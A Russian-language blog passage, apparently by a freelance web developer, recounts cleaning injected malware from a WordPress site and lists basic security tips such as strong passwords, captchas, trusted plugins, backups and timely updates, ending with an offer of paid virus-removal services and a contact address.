    Весело так получается, например вы вставляете в админке в новую статью картинку или какой нибудь медиафайл, а с ним вставляется код, который в скрытом виде подставляет зараженный файл. Для удаления такого вируса мне пришлось перебрать те куски кода которые вставлял вирус найти схожие места в коде, по ним найти все фрагменты вируса в базе и удалить его. В общем чистить было весело и задорно, все сотрудники сидевшие рядом узнали массу новых слов.

    Как защитить сайт от вирусов с WordPress я делаю именно так
  • Выбирайте только с разграничениями прав между доменами, так чтобы взломав один сайт на хостинге злоумышленник не смог добраться до остальных.
  • Закрывайте логины пользователей так, чтобы их нельзя было найти. Часто всякие WordPress плагины форумов, соцсетей, магазинов их очень хорошо отображают.
  • Пользуйтесь только проверенными плагинами и темами, я бы советовал качать и из официального репозитория. Можно также покупать темы на известных маркетплейсах на которых есть контроль качества кода. Я обычно если покупаю то использую маркетплейс .
    Если тема старенькая и ее не как достать из надежного источника, то лучше ее даже не использовать и выбрать другую. Как альтернатива можно дать тему на чистку специалиту, но цена может быть почти такой же как купить новую.
  • Купили хостинг, создали сайт и настраивайте сложные пароли это залог защиты, по крайней мере от 90% взломов. Внушительно, не правда ли?
  • Ставьте капчу везде где есть формы. Форма логина, регистрации, восстановления пароля, комментарии. Так можно отсеять часть роботов, которые могут перебрать пароли.
  • Блокируйте запросы в строке адреса, которые могут привести к ошибкам.
  • Скрывайте на сервере вывод ошибок.
  • Хорошо скрывайте версию движка и сам движок, насколько это возможно.
  • Время от времени делайте ручную копию сайта на внешний носитель.
  • Вовремя обновляйте все плагины после создания дампа базы и копии файлов (причем ели давно не обновляли, то лучше обновлять версию за версией).
  • Если WordPress сайт постоянно заражают вирусами значит, пропустили дыру или бекдор

  • Если сайт был заражен, то делайте только .
  • Удаляйте все неактивные плагины и темы, весь хлам, где могут быть вирусы.
  • Чистите все найденные вредоносные коды.
  • Только когда все вычистите, начинайте ставить защиту.
  • От всех взломов защититься невозможно, все что было сделано человеком им же может быть и взломано, но хорошая защита может оттянуть такой взлом лет на 100.

    Все виды вирусов ухудшают показатели сайта в поиске, а владелец может о них даже и не знать, пока хакер просто не начнет обрабатывать его сайт. Вообще очень желаю всем хакерам найти свою нишу, так как люди, которые делают такой замечательный и крутой код могли бы делать его с пользой для других и себя, не зарабатывать на взломах сайтов, а предлагать крутые сервисы которые приносили бы им постоянный доход.

    Могу удалить вирус с сайта на WordPress и настроить защиту

    Если так случилось что ваш сайт был заражен и нарушена его работоспособность, то напишите мне и я постараюсь вам помочь.

    Skype: maxix2009
    Mail: info@сайт